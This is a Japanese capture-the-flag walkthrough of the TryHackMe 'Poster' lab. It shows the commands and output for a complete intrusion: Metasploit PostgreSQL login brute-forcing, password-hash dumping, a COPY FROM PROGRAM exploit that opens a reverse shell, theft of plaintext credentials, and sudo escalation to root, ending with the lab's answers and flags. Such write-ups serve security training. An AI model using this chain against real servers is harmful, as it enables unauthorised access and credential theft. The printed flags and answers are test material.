概要
TryHackMe「Poster」のWalkthroughです。
Task1
Q1.What is the rdbms installed on the server?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.6.41 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA)
| 256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA)
|_ 256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Poster CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after: 2030-07-27T00:54:25
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
5432 | postgresql | PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23 |
A.postgresql
Q2.What port is the rdbms running on?
A.5432
Q4.After starting Metasploit, search for an associated auxiliary module that allows us to enumerate user credentials. What is the full path of the modules (starting with auxiliary)?
Metasploitを起動し、postgresql
で検索します。
msf6 > search postgresql
19 auxiliary/scanner/postgres/postgres_login . normal No PostgreSQL Login Utility
auxiliary/scanner/postgres/postgres_login
を使用して認証情報の列挙ができます。
A.auxiliary/scanner/postgres/postgres_login
Q5.What are the credentials you found?
RHOSTS
オプションを設定し、モジュールを実行するとログインに成功しました。
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.6.41
RHOSTS => 10.10.6.41
msf6 auxiliary(scanner/postgres/postgres_login) > exploit
(省略)
[+] 10.10.6.41:5432 - Login Successful: postgres:password@template1
A.postgres:password
Q6.What is the full path of the module that allows you to execute commands with the proper user credentials (starting with auxiliary)?
auxiliary/admin/postgres/postgres_sql
を使用してクエリを送信できます。
msf6 auxiliary(scanner/postgres/postgres_login) > search postgresql
21 auxiliary/admin/postgres/postgres_sql . normal No PostgreSQL Server Generic Query
A.auxiliary/admin/postgres/postgres_sql
Q7.Based on the results of #6, what is the rdbms version installed on the server?
auxiliary/admin/postgres/postgres_sql
モジュールを使用してversion()
関数を実行し、バージョンを特定できました。
msf6 auxiliary(admin/postgres/postgres_sql) > exploit
[*] Running module against 10.10.6.41
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
[*] Auxiliary module execution completed
A.9.5.21
Q8.What is the full path of the module that allows for dumping user hashes (starting with auxiliary)?
auxiliary/scanner/postgres/postgres_hashdum
を使用してハッシュ値をdumpできます。
msf6 auxiliary(admin/postgres/postgres_sql) > search postgres
33 auxiliary/scanner/postgres/postgres_hashdump . normal No Postgres Password Hashdump
A.auxiliary/scanner/postgres/postgres_hashdump
Q9.How many user hashes does the module dump?
モジュールを実行すると複数アカウントのパスワードハッシュを得られました。
msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
Username Hash
-------- ----
darkstart md58842b99375db43e9fdf238753623a27d
poster md578fb805c7412ae597b399844a54cce0a
postgres md532e12f215ba27cb750c9e093ce4b5127
sistemas md5f7dbc0d5a06653e74da6b1af9290ee2b
ti md57af9ac4c593e9e4f275576e13f935579
tryhackme md503aab1165001c8f8ccae31a8824efddc
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
A.6
Q10.What is the full path of the module (starting with auxiliary) that allows an authenticated user to view files of their choosing on the server?
auxiliary/admin/postgres/postgres_readfile
を使用してファイルを読み取ることができます。
msf6 auxiliary(admin/postgres/postgres_sql) > search postgres
24 auxiliary/admin/postgres/postgres_readfile . normal No PostgreSQL Server Generic Query
A.auxiliary/admin/postgres/postgres_readfile
Q11.What is the full path of the module that allows arbitrary command execution with the proper user credentials (starting with exploit)?
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
を使用してコマンド実行が可能です。
msf6 auxiliary(admin/postgres/postgres_sql) > search postgres
16 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
A.exploit/multi/postgres/postgres_copy_from_program_cmd_exec
Q12.Compromise the machine and locate user.txt
Hint.Change table name for the exploit mentioned above.
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
モジュールを実行するとpostgres
のシェルを取得できました。
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.6.55.144:4444
[*] 10.10.6.41:5432 - 10.10.6.41:5432 - PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
[*] 10.10.6.41:5432 - Exploiting...
[+] 10.10.6.41:5432 - 10.10.6.41:5432 - ek1dIs4YFGp dropped successfully
[+] 10.10.6.41:5432 - 10.10.6.41:5432 - ek1dIs4YFGp created successfully
[+] 10.10.6.41:5432 - 10.10.6.41:5432 - ek1dIs4YFGp copied successfully(valid syntax/command)
[+] 10.10.6.41:5432 - 10.10.6.41:5432 - ek1dIs4YFGp dropped successfully(Cleaned)
[*] 10.10.6.41:5432 - Exploit Succeeded
[*] Command shell session 1 opened (10.6.55.144:4444 -> 10.10.6.41:43834) at 2024-11-28 15:50:57 -0500
whoami
postgres
user.txt
は/home/alison
にあるので権限昇格をする必要があります。
ls -la /home/alison
total 40
drwxr-xr-x 4 alison alison 4096 Jul 28 2020 .
drwxr-xr-x 4 root root 4096 Jul 28 2020 ..
-rw------- 1 alison alison 2444 Jul 28 2020 .bash_history
-rw-r--r-- 1 alison alison 220 Jul 28 2020 .bash_logout
-rw-r--r-- 1 alison alison 3771 Jul 28 2020 .bashrc
drwx------ 2 alison alison 4096 Jul 28 2020 .cache
drwxr-xr-x 2 alison alison 4096 Jul 28 2020 .nano
-rw-r--r-- 1 alison alison 655 Jul 28 2020 .profile
-rw-r--r-- 1 alison alison 0 Jul 28 2020 .sudo_as_admin_successful
-rw------- 1 alison alison 35 Jul 28 2020 user.txt
-rw-r--r-- 1 root root 183 Jul 28 2020 .wget-hsts
/home/dark/credentials.txt
からdark
アカウントの認証情報を得られました。
cat /home/dark/credentials.txt
dark:qwerty1234#!hackme
得られた認証情報でSSH接続に成功しました。
$ ssh dark@10.10.6.41
$ whoami
dark
ファイルを探索していると/var/www/html/config.php
にalison
のDB認証情報を発見しました。
$ cat /var/www/html/config.php
<?php
$dbhost = "127.0.0.1";
$dbuname = "alison";
$dbpass = "p4ssw0rdS3cur3!#";
$dbname = "mysudopassword";
?>
このパスワードを使用してalison
にログイン出来ました。
$ su alison
Password:
alison@ubuntu:/tmp$ whoami
alison
user.txt
からユーザーフラグを入手できました。
$ cat user.txt
THM{postgresql_fa1l_conf1gurat1on}
A.THM{postgresql_fa1l_conf1gurat1on}
Q13.Escalate privileges and obtain root.txt
sudo -l
を確認すると、全てのコマンドが許可されていました。
$ sudo -l
[sudo] password for alison:
Matching Defaults entries for alison on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alison may run the following commands on ubuntu:
(ALL : ALL) ALL
Bashでroot権限に昇格できました。
$ sudo bash -p
root@ubuntu:~# whoami
root
/root/root.txt
からルートフラグを入手できます。
# cat /root/root.txt
THM{c0ngrats_for_read_the_f1le_w1th_credent1als}
A.THM{c0ngrats_for_read_the_f1le_w1th_credent1als}